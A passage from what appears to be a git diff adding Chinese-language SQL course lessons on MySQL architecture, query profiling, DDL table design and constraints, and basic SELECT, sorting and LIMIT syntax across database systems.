1. 存储引擎层:与数据库文件打交道,负责数据的存储和读取。
|
||||
|
||||
其中SQL层与数据库文件的存储方式无关,我们来看下SQL层的结构:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/30/79/30819813cc9d53714c08527e282ede79.jpg" alt="">
|
||||
|
||||
1. 查询缓存:Server如果在查询缓存中发现了这条SQL语句,就会直接将结果返回给客户端;如果没有,就进入到解析器阶段。需要说明的是,因为查询缓存往往效率不高,所以在MySQL8.0之后就抛弃了这个功能。
|
||||
1. 解析器:在解析器中对SQL语句进行语法分析、语义分析。
|
||||
1. 优化器:在优化器中会确定SQL语句的执行路径,比如是根据全表检索,还是根据索引来检索等。
|
||||
1. 执行器:在执行之前需要判断该用户是否具备权限,如果具备权限就执行SQL查询并返回结果。在MySQL8.0以下的版本,如果设置了查询缓存,这时会将查询结果进行缓存。
|
||||
|
||||
你能看到SQL语句在MySQL中的流程是:SQL语句→缓存查询→解析器→优化器→执行器。在一部分中,MySQL和Oracle执行SQL的原理是一样的。
|
||||
|
||||
与Oracle不同的是,MySQL的存储引擎采用了插件的形式,每个存储引擎都面向一种特定的数据库应用环境。同时开源的MySQL还允许开发人员设置自己的存储引擎,下面是一些常见的存储引擎:
|
||||
|
||||
1. InnoDB存储引擎:它是MySQL 5.5版本之后默认的存储引擎,最大的特点是支持事务、行级锁定、外键约束等。
|
||||
1. MyISAM存储引擎:在MySQL 5.5版本之前是默认的存储引擎,不支持事务,也不支持外键,最大的特点是速度快,占用资源少。
|
||||
1. Memory存储引擎:使用系统内存作为存储介质,以便得到更快的响应速度。不过如果mysqld进程崩溃,则会导致所有的数据丢失,因此我们只有当数据是临时的情况下才使用Memory存储引擎。
|
||||
1. NDB存储引擎:也叫做NDB Cluster存储引擎,主要用于MySQL Cluster分布式集群环境,类似于Oracle的RAC集群。
|
||||
1. Archive存储引擎:它有很好的压缩机制,用于文件归档,在请求写入时会进行压缩,所以也经常用来做仓库。
|
||||
|
||||
需要注意的是,数据库的设计在于表的设计,而在MySQL中每个表的设计都可以采用不同的存储引擎,我们可以根据实际的数据处理需要来选择存储引擎,这也是MySQL的强大之处。
|
||||
|
||||
## 数据库管理系统也是一种软件
|
||||
|
||||
我们刚才了解了SQL语句在Oracle和MySQL中的执行流程,实际上完整的Oracle和MySQL结构图要复杂得多:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d9/74/d99e951b69a692c7f075dd21116d3574.png" alt=""><br>
|
||||
<img src="https://static001.geekbang.org/resource/image/9b/7f/9b515e012856099b05d9dc3a5eaabe7f.png" alt=""><br>
|
||||
如果你只是简单地把MySQL和Oracle看成数据库管理系统软件,从外部看难免会觉得“晦涩难懂”,毕竟组织结构太多了。我们在学习的时候,还需要具备抽象的能力,抓取最核心的部分:SQL的执行原理。因为不同的DBMS的SQL的执行原理是相通的,只是在不同的软件中,各有各的实现路径。
|
||||
|
||||
既然一条SQL语句会经历不同的模块,那我们就来看下,在不同的模块中,SQL执行所使用的资源(时间)是怎样的。下面我来教你如何在MySQL中对一条SQL语句的执行时间进行分析。
|
||||
|
||||
首先我们需要看下profiling是否开启,开启它可以让MySQL收集在SQL执行时所使用的资源情况,命令如下:
|
||||
|
||||
```
|
||||
mysql> select @@profiling;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/bc/c1/bcbfdd58b908dc8820fb57d00ff4dcc1.png" alt=""><br>
|
||||
profiling=0代表关闭,我们需要把profiling打开,即设置为1:
|
||||
|
||||
```
|
||||
mysql> set profiling=1;
|
||||
|
||||
```
|
||||
|
||||
然后我们执行一个SQL查询(你可以执行任何一个SQL查询):
|
||||
|
||||
```
|
||||
mysql> select * from wucai.heros;
|
||||
|
||||
```
|
||||
|
||||
查看当前会话所产生的所有profiles:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d9/bf/d9445abcde0f3b38488afe21aca8e9bf.png" alt=""><br>
|
||||
你会发现我们刚才执行了两次查询,Query ID分别为1和2。如果我们想要获取上一次查询的执行时间,可以使用:
|
||||
|
||||
```
|
||||
mysql> show profile;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/09/7d/09ef901a55ffcd32ed263d82e3cf1f7d.png" alt=""><br>
|
||||
当然你也可以查询指定的Query ID,比如:
|
||||
|
||||
```
|
||||
mysql> show profile for query 2;
|
||||
|
||||
```
|
||||
|
||||
查询SQL的执行时间结果和上面是一样的。
|
||||
|
||||
在8.0版本之后,MySQL不再支持缓存的查询,原因我在上文已经说过。一旦数据表有更新,缓存都将清空,因此只有数据表是静态的时候,或者数据表很少发生变化时,使用缓存查询才有价值,否则如果数据表经常更新,反而增加了SQL的查询时间。
|
||||
|
||||
你可以使用select version()来查看MySQL的版本情况。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/08/1a/0815cf2a78889b947cb498622377c21a.png" alt="">
|
||||
|
||||
## 总结
|
||||
|
||||
我们在使用SQL的时候,往往只见树木,不见森林,不会注意到它在各种数据库软件中是如何执行的,今天我们从全貌的角度来理解这个问题。你能看到不同的RDBMS之间有相同的地方,也有不同的地方。
|
||||
|
||||
相同的地方在于Oracle和MySQL都是通过解析器→优化器→执行器这样的流程来执行SQL的。
|
||||
|
||||
但Oracle和MySQL在进行SQL的查询上面有软件实现层面的差异。Oracle提出了共享池的概念,通过共享池来判断是进行软解析,还是硬解析。而在MySQL中,8.0以后的版本不再支持查询缓存,而是直接执行解析器→优化器→执行器的流程,这一点从MySQL中的show profile里也能看到。同时MySQL的一大特色就是提供了各种存储引擎以供选择,不同的存储引擎有各自的使用场景,我们可以针对每张表选择适合的存储引擎。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/02/f1/02719a80d54a174dec8672d1f87295f1.jpg" alt=""><br>
|
||||
今天的内容到这里就结束了,你能说一下Oracle中的绑定变量是什么,使用它有什么优缺点吗?MySQL的存储引擎是一大特色,其中MyISAM和InnoDB都是常用的存储引擎,这两个存储引擎的特性和使用场景分别是什么?
|
||||
|
||||
最后留一道选择题吧,解析后的SQL语句在Oracle的哪个区域中进行缓存?
|
||||
|
||||
A. 数据缓冲区<br>
|
||||
B. 日志缓冲区<br>
|
||||
C. 共享池<br>
|
||||
D. 大池
|
||||
|
||||
欢迎你在评论区写下你的思考,我会在评论区与你一起交流,如果这篇文章帮你理顺了Oracle和MySQL执行SQL的过程,欢迎你把它分享给你的朋友或者同事。
|
||||
|
||||
※注:本篇文章出现的图片请点击[这里](http://github.com/cystanford/SQL-XMind)下载高清大图。
|
||||
192
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/04丨使用DDL创建数据库&数据表时需要注意什么?.md
Normal file
192
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/04丨使用DDL创建数据库&数据表时需要注意什么?.md
Normal file
@@ -0,0 +1,192 @@
|
||||
<audio id="audio" title="04丨使用DDL创建数据库&数据表时需要注意什么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/48/2d/48ebb7342670d6de72e6c79ae1b5d92d.mp3"></audio>
|
||||
|
||||
DDL是DBMS的核心组件,也是SQL的重要组成部分,DDL的正确性和稳定性是整个SQL运行的重要基础。面对同一个需求,不同的开发人员创建出来的数据库和数据表可能千差万别,那么在设计数据库的时候,究竟什么是好的原则?我们在创建数据表的时候需要注意什么?
|
||||
|
||||
今天的内容,你可以从以下几个角度来学习:
|
||||
|
||||
1. 了解DDL的基础语法,它如何定义数据库和数据表;
|
||||
1. 使用DDL定义数据表时,都有哪些约束性;
|
||||
1. 使用DDL设计数据库时,都有哪些重要原则。
|
||||
|
||||
## DDL的基础语法及设计工具
|
||||
|
||||
DDL的英文全称是Data Definition Language,中文是数据定义语言。它定义了数据库的结构和数据表的结构。
|
||||
|
||||
在DDL中,我们常用的功能是增删改,分别对应的命令是CREATE、DROP和ALTER。需要注意的是,在执行DDL的时候,不需要COMMIT,就可以完成执行任务。
|
||||
|
||||
1.**对数据库进行定义**
|
||||
|
||||
```
|
||||
CREATE DATABASE nba; // 创建一个名为nba的数据库
|
||||
DROP DATABASE nba; // 删除一个名为nba的数据库
|
||||
|
||||
```
|
||||
|
||||
2.**对数据表进行定义**
|
||||
|
||||
创建表结构的语法是这样的:
|
||||
|
||||
```
|
||||
CREATE TABLE [table_name](字段名 数据类型,......)
|
||||
|
||||
```
|
||||
|
||||
### 创建表结构
|
||||
|
||||
比如我们想创建一个球员表,表名为player,里面有两个字段,一个是player_id,它是int类型,另一个player_name字段是`varchar(255)`类型。这两个字段都不为空,且player_id是递增的。
|
||||
|
||||
那么创建的时候就可以写为:
|
||||
|
||||
```
|
||||
CREATE TABLE player (
|
||||
player_id int(11) NOT NULL AUTO_INCREMENT,
|
||||
player_name varchar(255) NOT NULL
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
需要注意的是,语句最后以分号(;)作为结束符,最后一个字段的定义结束后没有逗号。数据类型中int(11)代表整数类型,显示长度为11位,括号中的参数11代表的是最大有效显示长度,与类型包含的数值范围大小无关。`varchar(255)`代表的是最大长度为255的可变字符串类型。`NOT NULL`表明整个字段不能是空值,是一种数据约束。`AUTO_INCREMENT`代表主键自动增长。
|
||||
|
||||
实际上,我们通常很少自己写DDL语句,可以使用一些可视化工具来创建和操作数据库和数据表。在这里我推荐使用Navicat,它是一个数据库管理和设计工具,跨平台,支持很多种数据库管理软件,比如MySQL、Oracle、MariaDB等。基本上专栏讲到的数据库软件都可以使用Navicat来管理。
|
||||
|
||||
假如还是针对player这张表,我们想设计以下的字段:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/49/dd/4925e0c2a1342f4b19d29f0d665afbdd.png" alt=""><br>
|
||||
其中player_id是数据表player的主键,且自动增长,也就是player_id会从1开始,然后每次加1。player_id、team_id、player_name 这三个字段均不为空,height字段可以为空。
|
||||
|
||||
按照上面的设计需求,我们可以使用Navicat软件进行设计,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cc/ef/cca134810dee3f5de5413482103367ef.png" alt=""><br>
|
||||
然后,我们还可以对player_name字段进行索引,索引类型为`Unique`。使用Navicat设置如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9a/5b/9a806e7be2f61c64a034ee8a422ea55b.png" alt=""><br>
|
||||
这样一张player表就通过可视化工具设计好了。我们可以把这张表导出来,可以看看这张表对应的SQL语句是怎样的。方法是在Navicat左侧用右键选中player这张表,然后选择“转储SQL文件”→“仅结构”,这样就可以看到导出的SQL文件了,代码如下:
|
||||
|
||||
```
|
||||
DROP TABLE IF EXISTS `player`;
|
||||
CREATE TABLE `player` (
|
||||
`player_id` int(11) NOT NULL AUTO_INCREMENT,
|
||||
`team_id` int(11) NOT NULL,
|
||||
`player_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
|
||||
`height` float(3, 2) NULL DEFAULT 0.00,
|
||||
PRIMARY KEY (`player_id`) USING BTREE,
|
||||
UNIQUE INDEX `player_name`(`player_name`) USING BTREE
|
||||
) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
|
||||
|
||||
```
|
||||
|
||||
你能看到整个SQL文件中的DDL处理,首先先删除player表(如果数据库中存在该表的话),然后再创建player表,里面的数据表和字段都使用了反引号,这是为了避免它们的名称与MySQL保留字段相同,对数据表和字段名称都加上了反引号。
|
||||
|
||||
其中player_name字段的字符编码是utf8,排序规则是`utf8_general_ci`,代表对大小写不敏感,如果设置为`utf8_bin`,代表对大小写敏感,还有许多其他排序规则这里不进行介绍。
|
||||
|
||||
因为player_id设置为了主键,因此在DDL中使用`PRIMARY KEY`进行规定,同时索引方法采用BTREE。
|
||||
|
||||
因为我们对player_name字段进行索引,在设置字段索引时,我们可以设置为`UNIQUE INDEX`(唯一索引),也可以设置为其他索引方式,比如`NORMAL INDEX`(普通索引),这里我们采用`UNIQUE INDEX`。唯一索引和普通索引的区别在于它对字段进行了唯一性的约束。在索引方式上,你可以选择`BTREE`或者`HASH`,这里采用了`BTREE`方法进行索引。我会在后面介绍`BTREE`和`HASH`索引方式的区别。
|
||||
|
||||
整个数据表的存储规则采用InnoDB。之前我们简单介绍过InnoDB,它是MySQL5.5版本之后默认的存储引擎。同时,我们将字符编码设置为utf8,排序规则为`utf8_general_ci`,行格式为`Dynamic`,就可以定义数据表的最后约定了:
|
||||
|
||||
```
|
||||
ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
|
||||
|
||||
```
|
||||
|
||||
你能看出可视化工具还是非常方便的,它能直接帮我们将数据库的结构定义转化成SQL语言,方便数据库和数据表结构的导出和导入。不过在使用可视化工具前,你首先需要了解对于DDL的基础语法,至少能清晰地看出来不同字段的定义规则、索引方法,以及主键和外键的定义。
|
||||
|
||||
### 修改表结构
|
||||
|
||||
在创建表结构之后,我们还可以对表结构进行修改,虽然直接使用Navicat可以保证重新导出的数据表就是最新的,但你也有必要了解,如何使用DDL命令来完成表结构的修改。
|
||||
|
||||
1.添加字段,比如我在数据表中添加一个age字段,类型为`int(11)`
|
||||
|
||||
```
|
||||
ALTER TABLE player ADD (age int(11));
|
||||
|
||||
```
|
||||
|
||||
2.修改字段名,将age字段改成`player_age`
|
||||
|
||||
```
|
||||
ALTER TABLE player RENAME COLUMN age to player_age
|
||||
|
||||
```
|
||||
|
||||
3.修改字段的数据类型,将`player_age`的数据类型设置为`float(3,1)`
|
||||
|
||||
```
|
||||
ALTER TABLE player MODIFY (player_age float(3,1));
|
||||
|
||||
```
|
||||
|
||||
4.删除字段, 删除刚才添加的`player_age`字段
|
||||
|
||||
```
|
||||
ALTER TABLE player DROP COLUMN player_age;
|
||||
|
||||
```
|
||||
|
||||
## 数据表的常见约束
|
||||
|
||||
当我们创建数据表的时候,还会对字段进行约束,约束的目的在于保证RDBMS里面数据的准确性和一致性。下面,我们来看下常见的约束有哪些。
|
||||
|
||||
首先是主键约束。
|
||||
|
||||
主键起的作用是唯一标识一条记录,不能重复,不能为空,即UNIQUE+NOT NULL。一个数据表的主键只能有一个。主键可以是一个字段,也可以由多个字段复合组成。在上面的例子中,我们就把player_id设置为了主键。
|
||||
|
||||
其次还有外键约束。
|
||||
|
||||
外键确保了表与表之间引用的完整性。一个表中的外键对应另一张表的主键。外键可以是重复的,也可以为空。比如player_id在player表中是主键,如果你想设置一个球员比分表即player_score,就可以在player_score中设置player_id为外键,关联到player表中。
|
||||
|
||||
除了对键进行约束外,还有字段约束。
|
||||
|
||||
唯一性约束。
|
||||
|
||||
唯一性约束表明了字段在表中的数值是唯一的,即使我们已经有了主键,还可以对其他字段进行唯一性约束。比如我们在player表中给player_name设置唯一性约束,就表明任何两个球员的姓名不能相同。需要注意的是,唯一性约束和普通索引(NORMAL INDEX)之间是有区别的。唯一性约束相当于创建了一个约束和普通索引,目的是保证字段的正确性,而普通索引只是提升数据检索的速度,并不对字段的唯一性进行约束。
|
||||
|
||||
NOT NULL约束。对字段定义了NOT NULL,即表明该字段不应为空,必须有取值。
|
||||
|
||||
DEFAULT,表明了字段的默认值。如果在插入数据的时候,这个字段没有取值,就设置为默认值。比如我们将身高height字段的取值默认设置为0.00,即`DEFAULT 0.00`。
|
||||
|
||||
CHECK约束,用来检查特定字段取值范围的有效性,CHECK约束的结果不能为FALSE,比如我们可以对身高height的数值进行CHECK约束,必须≥0,且<3,即`CHECK(height>=0 AND height<3)`。
|
||||
|
||||
## 设计数据表的原则
|
||||
|
||||
我们在设计数据表的时候,经常会考虑到各种问题,比如:用户都需要什么数据?需要在数据表中保存哪些数据?哪些数据是经常访问的数据?如何提升检索效率?
|
||||
|
||||
如何保证数据表中数据的正确性,当插入、删除、更新的时候该进行怎样的约束检查?
|
||||
|
||||
如何降低数据表的数据冗余度,保证数据表不会因为用户量的增长而迅速扩张?
|
||||
|
||||
如何让负责数据库维护的人员更方便地使用数据库?
|
||||
|
||||
除此以外,我们使用数据库的应用场景也各不相同,可以说针对不同的情况,设计出来的数据表可能千差万别。那么有没有一种设计原则可以让我们来借鉴呢?这里我整理了一个“**三少一多**”原则:
|
||||
|
||||
1.**数据表的个数越少越好**
|
||||
|
||||
RDBMS的核心在于对实体和联系的定义,也就是E-R图(Entity Relationship Diagram),数据表越少,证明实体和联系设计得越简洁,既方便理解又方便操作。
|
||||
|
||||
2.**数据表中的字段个数越少越好**
|
||||
|
||||
字段个数越多,数据冗余的可能性越大。设置字段个数少的前提是各个字段相互独立,而不是某个字段的取值可以由其他字段计算出来。当然字段个数少是相对的,我们通常会在数据冗余和检索效率中进行平衡。
|
||||
|
||||
3.**数据表中联合主键的字段个数越少越好**
|
||||
|
||||
设置主键是为了确定唯一性,当一个字段无法确定唯一性的时候,就需要采用联合主键的方式(也就是用多个字段来定义一个主键)。联合主键中的字段越多,占用的索引空间越大,不仅会加大理解难度,还会增加运行时间和索引空间,因此联合主键的字段个数越少越好。
|
||||
|
||||
4.**使用主键和外键越多越好**
|
||||
|
||||
数据库的设计实际上就是定义各种表,以及各种字段之间的关系。这些关系越多,证明这些实体之间的冗余度越低,利用度越高。这样做的好处在于不仅保证了数据表之间的独立性,还能提升相互之间的关联使用率。
|
||||
|
||||
你应该能看出来“三少一多”原则的核心就是简单可复用。简单指的是用更少的表、更少的字段、更少的联合主键字段来完成数据表的设计。可复用则是通过主键、外键的使用来增强数据表之间的复用率。因为一个主键可以理解是一张表的代表。键设计得越多,证明它们之间的利用率越高。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们学习了DDL的基础语法,比如如何对数据库和数据库表进行定义,也了解了使用Navicat可视化管理工具来辅助我们完成数据表的设计,省去了手写SQL的工作量。
|
||||
|
||||
在创建数据表的时候,除了对字段名及数据类型进行定义以外,我们考虑最多的就是关于字段的约束,我介绍了7种常见的约束,它们都是数据表设计中会用到的约束:主键、外键、唯一性、NOT NULL、DEFAULT、CHECK约束等。
|
||||
|
||||
当然,了解了如何操作创建数据表之后,你还需要动脑思考,怎样才能设计出一个好的数据表?设计的原则都有哪些?针对这个,我整理出了“三少一多”原则,在实际使用过程中,你需要灵活掌握,因为这个原则并不是绝对的,有时候我们需要牺牲数据的冗余度来换取数据处理的效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/80/c1/80aecedfad59aad06cc08bb9bca721c1.jpg" alt=""><br>
|
||||
我们在创建数据表的时候,会对数据表设置主键、外键和索引。你能说下这三者的作用和区别吗?
|
||||
|
||||
欢迎你在评论区写下你的答案,我会和你一起交流,也欢迎把这篇文章分享给你的朋友或者同事。
|
||||
275
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/05丨检索数据:你还在SELECT * 么?.md
Normal file
275
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/05丨检索数据:你还在SELECT * 么?.md
Normal file
@@ -0,0 +1,275 @@
|
||||
<audio id="audio" title="05丨检索数据:你还在SELECT * 么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ed/80/ed8254f88dba7a70d210713610061380.mp3"></audio>
|
||||
|
||||
今天我们主要学习如何使用SQL检索数据。如果你已经有了一定的SQL基础,这节课可以跳过,也可以把它当做是个快速的复习。
|
||||
|
||||
SELECT可以说是SQL中最常用的语句了。你可以把SQL语句看作是英语语句,SELECT就是SQL中的关键字之一,除了SELECT之外,还有INSERT、DELETE、UPDATE等关键字,这些关键字是SQL的保留字,这样可以很方便地帮助我们分析理解SQL语句。我们在定义数据库表名、字段名和变量名时,要尽量避免使用这些保留字。
|
||||
|
||||
SELECT的作用是从一个表或多个表中检索出想要的数据行。今天我主要讲解SELECT的基础查询,后面我会讲解如何通过多个表的连接操作进行复杂的查询。
|
||||
|
||||
在这篇文章中,你需要重点掌握以下几方面的内容:
|
||||
|
||||
1. SELECT查询的基础语法;
|
||||
1. 如何排序检索数据;
|
||||
1. 什么情况下用`SELECT*`,如何提升SELECT查询效率?
|
||||
|
||||
## SELECT查询的基础语法
|
||||
|
||||
SELECT可以帮助我们从一个表或多个表中进行数据查询。我们知道一个数据表是由列(字段名)和行(数据行)组成的,我们要返回满足条件的数据行,就需要在SELECT后面加上我们想要查询的列名,可以是一列,也可以是多个列。如果你不知道所有列名都有什么,也可以检索所有列。
|
||||
|
||||
我创建了一个王者荣耀英雄数据表,这张表里一共有69个英雄,23个属性值(不包括英雄名name)。SQL文件见[Github地址](https://github.com/cystanford/sql_heros_data)。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/00/38/002726e066b15cb91e96828c82825f38.png" alt="">
|
||||
|
||||
数据表中这24个字段(除了id以外),分别代表的含义见下图。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/50/44/50284b67a5c5d3f6ecc541f8dbb5ea44.png" alt="">
|
||||
|
||||
### 查询列
|
||||
|
||||
如果我们想要对数据表中的某一列进行检索,在SELECT后面加上这个列的字段名即可。比如我们想要检索数据表中都有哪些英雄。
|
||||
|
||||
```
|
||||
SQL:SELECT name FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录)见下图,你可以看到这样就等于单独输出了name这一列。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e5/f9/e5e240cbbe9b9309d39d919bb10f93f9.png" alt="">
|
||||
|
||||
我们也可以对多个列进行检索,在列名之间用逗号(,)分割即可。比如我们想要检索有哪些英雄,他们的最大生命、最大法力、最大物攻和最大物防分别是多少。
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max, mp_max, attack_max, defense_max FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4b/95/4b1e0691f2fbc80fce8d06ff1bdf7a95.png" alt="">
|
||||
|
||||
这个表中一共有25个字段,除了id和英雄名name以外,还存在23个属性值,如果我们记不住所有的字段名称,可以使用SELECT * 帮我们检索出所有的列:
|
||||
|
||||
```
|
||||
SQL:SELECT * FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5a/38/5a1d231ada76cf93db734de757810c38.png" alt=""><br>
|
||||
我们在做数据探索的时候,`SELECT *`还是很有用的,这样我们就不需要写很长的SELECT语句了。但是在生产环境时要尽量避免使用`SELECT*`,具体原因我会在后面讲。
|
||||
|
||||
### 起别名
|
||||
|
||||
我们在使用SELECT查询的时候,还有一些技巧可以使用,比如你可以给列名起别名。我们在进行检索的时候,可以给英雄名、最大生命、最大法力、最大物攻和最大物防等取别名:
|
||||
|
||||
```
|
||||
SQL:SELECT name AS n, hp_max AS hm, mp_max AS mm, attack_max AS am, defense_max AS dm FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果和上面多列检索的运行结果是一样的,只是将列名改成了n、hm、mm、am和dm。当然这里的列别名只是举例,一般来说起别名的作用是对原有名称进行简化,从而让SQL语句看起来更精简。同样我们也可以对表名称起别名,这个在多表连接查询的时候会用到。
|
||||
|
||||
### 查询常数
|
||||
|
||||
SELECT查询还可以对常数进行查询。对的,就是在SELECT查询结果中增加一列固定的常数列。这列的取值是我们指定的,而不是从数据表中动态取出的。你可能会问为什么我们还要对常数进行查询呢?SQL中的SELECT语法的确提供了这个功能,一般来说我们只从一个表中查询数据,通常不需要增加一个固定的常数列,但如果我们想整合不同的数据源,用常数列作为这个表的标记,就需要查询常数。
|
||||
|
||||
比如说,我们想对heros数据表中的英雄名进行查询,同时增加一列字段`platform`,这个字段固定值为“王者荣耀”,可以这样写:
|
||||
|
||||
```
|
||||
SQL:SELECT '王者荣耀' as platform, name FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果:(69条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/19/3d/1975e19d4e21914a7ebee73daf240f3d.png" alt=""><br>
|
||||
在这个SQL语句中,我们虚构了一个`platform`字段,并且把它设置为固定值“王者荣耀”。
|
||||
|
||||
需要说明的是,如果常数是个字符串,那么使用单引号(‘’)就非常重要了,比如‘王者荣耀’。单引号说明引号中的字符串是个常数,否则SQL会把王者荣耀当成列名进行查询,但实际上数据表里没有这个列名,就会引起错误。如果常数是英文字母,比如`'WZRY'`也需要加引号。如果常数是个数字,就可以直接写数字,不需要单引号,比如:
|
||||
|
||||
```
|
||||
SQL:SELECT 123 as platform, name FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果:(69条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/41/99/41ed73cef49e445d64b8cb748a82c299.png" alt="">
|
||||
|
||||
### 去除重复行
|
||||
|
||||
关于单个表的SELECT查询,还有一个非常实用的操作,就是从结果中去掉重复的行。使用的关键字是DISTINCT。比如我们想要看下heros表中关于攻击范围的取值都有哪些:
|
||||
|
||||
```
|
||||
SQL:SELECT DISTINCT attack_range FROM heros
|
||||
|
||||
```
|
||||
|
||||
这是运行结果(2条记录),这样我们就能直观地看到攻击范围其实只有两个值,那就是近战和远程。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e6/15/e67c0d2f7b977cb0ff87891eb9adf615.png" alt=""><br>
|
||||
如果我们带上英雄名称,会是怎样呢:
|
||||
|
||||
```
|
||||
SQL:SELECT DISTINCT attack_range, name FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/01/2a/0105eb3f0b74d0ed5e6c2fafca38292a.png" alt=""><br>
|
||||
这里有两点需要注意:
|
||||
|
||||
1. DISTINCT需要放到所有列名的前面,如果写成`SELECT name, DISTINCT attack_range FROM heros`会报错。
|
||||
1. DISTINCT其实是对后面所有列名的组合进行去重,你能看到最后的结果是69条,因为这69个英雄名称不同,都有攻击范围(attack_range)这个属性值。如果你想要看都有哪些不同的攻击范围(attack_range),只需要写`DISTINCT attack_range`即可,后面不需要再加其他的列名了。
|
||||
|
||||
## 如何排序检索数据
|
||||
|
||||
当我们检索数据的时候,有时候需要按照某种顺序进行结果的返回,比如我们想要查询所有的英雄,按照最大生命从高到底的顺序进行排列,就需要使用ORDER BY子句。使用ORDER BY子句有以下几个点需要掌握:
|
||||
|
||||
1. 排序的列名:ORDER BY后面可以有一个或多个列名,如果是多个列名进行排序,会按照后面第一个列先进行排序,当第一列的值相同的时候,再按照第二列进行排序,以此类推。
|
||||
1. 排序的顺序:ORDER BY后面可以注明排序规则,ASC代表递增排序,DESC代表递减排序。如果没有注明排序规则,默认情况下是按照ASC递增排序。我们很容易理解ORDER BY对数值类型字段的排序规则,但如果排序字段类型为文本数据,就需要参考数据库的设置方式了,这样才能判断A是在B之前,还是在B之后。比如使用MySQL在创建字段的时候设置为BINARY属性,就代表区分大小写。
|
||||
1. 非选择列排序:ORDER BY可以使用非选择列进行排序,所以即使在SELECT后面没有这个列名,你同样可以放到ORDER BY后面进行排序。
|
||||
1. ORDER BY的位置:ORDER BY通常位于SELECT语句的最后一条子句,否则会报错。
|
||||
|
||||
在了解了ORDER BY的使用语法之后,我们来看下如何对heros数据表进行排序。
|
||||
|
||||
假设我们想要显示英雄名称及最大生命值,按照最大生命值从高到低的方式进行排序:
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros ORDER BY hp_max DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/67/08/67714aae8a6ac8e9b356f6975324be08.png" alt="">
|
||||
|
||||
如果想要显示英雄名称及最大生命值,按照第一排序最大法力从低到高,当最大法力值相等的时候则按照第二排序进行,即最大生命值从高到低的方式进行排序:
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros ORDER BY mp_max, hp_max DESC
|
||||
|
||||
```
|
||||
|
||||
运行结果:(69条记录)
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e6/3e/e622aa87b86051b0512cb36ba7daf43e.png" alt="">
|
||||
|
||||
## 约束返回结果的数量
|
||||
|
||||
另外在查询过程中,我们可以约束返回结果的数量,使用LIMIT关键字。比如我们想返回英雄名称及最大生命值,按照最大生命值从高到低排序,返回5条记录即可。
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros ORDER BY hp_max DESC LIMIT 5
|
||||
|
||||
```
|
||||
|
||||
运行结果(5条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/21/b3/21c4f6e69fd3429b796146675389bbb3.png" alt=""><br>
|
||||
有一点需要注意,约束返回结果的数量,在不同的DBMS中使用的关键字可能不同。在MySQL、PostgreSQL、MariaDB和SQLite中使用LIMIT关键字,而且需要放到SELECT语句的最后面。如果是SQL Server和Access,需要使用TOP关键字,比如:
|
||||
|
||||
```
|
||||
SQL:SELECT TOP 5 name, hp_max FROM heros ORDER BY hp_max DESC
|
||||
|
||||
```
|
||||
|
||||
如果是DB2,使用`FETCH FIRST 5 ROWS ONLY`这样的关键字:
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros ORDER BY hp_max DESC FETCH FIRST 5 ROWS ONLY
|
||||
|
||||
```
|
||||
|
||||
如果是Oracle,你需要基于ROWNUM来统计行数:
|
||||
|
||||
```
|
||||
SQL:SELECT name, hp_max FROM heros WHERE ROWNUM <=5 ORDER BY hp_max DESC
|
||||
|
||||
```
|
||||
|
||||
需要说明的是,这条语句是先取出来前5条数据行,然后再按照hp_max从高到低的顺序进行排序。但这样产生的结果和上述方法的并不一样。我会在后面讲到子查询,你可以使用`SELECT name, hp_max FROM (SELECT name, hp_max FROM heros ORDER BY hp_max) WHERE ROWNUM <=5`得到与上述方法一致的结果。
|
||||
|
||||
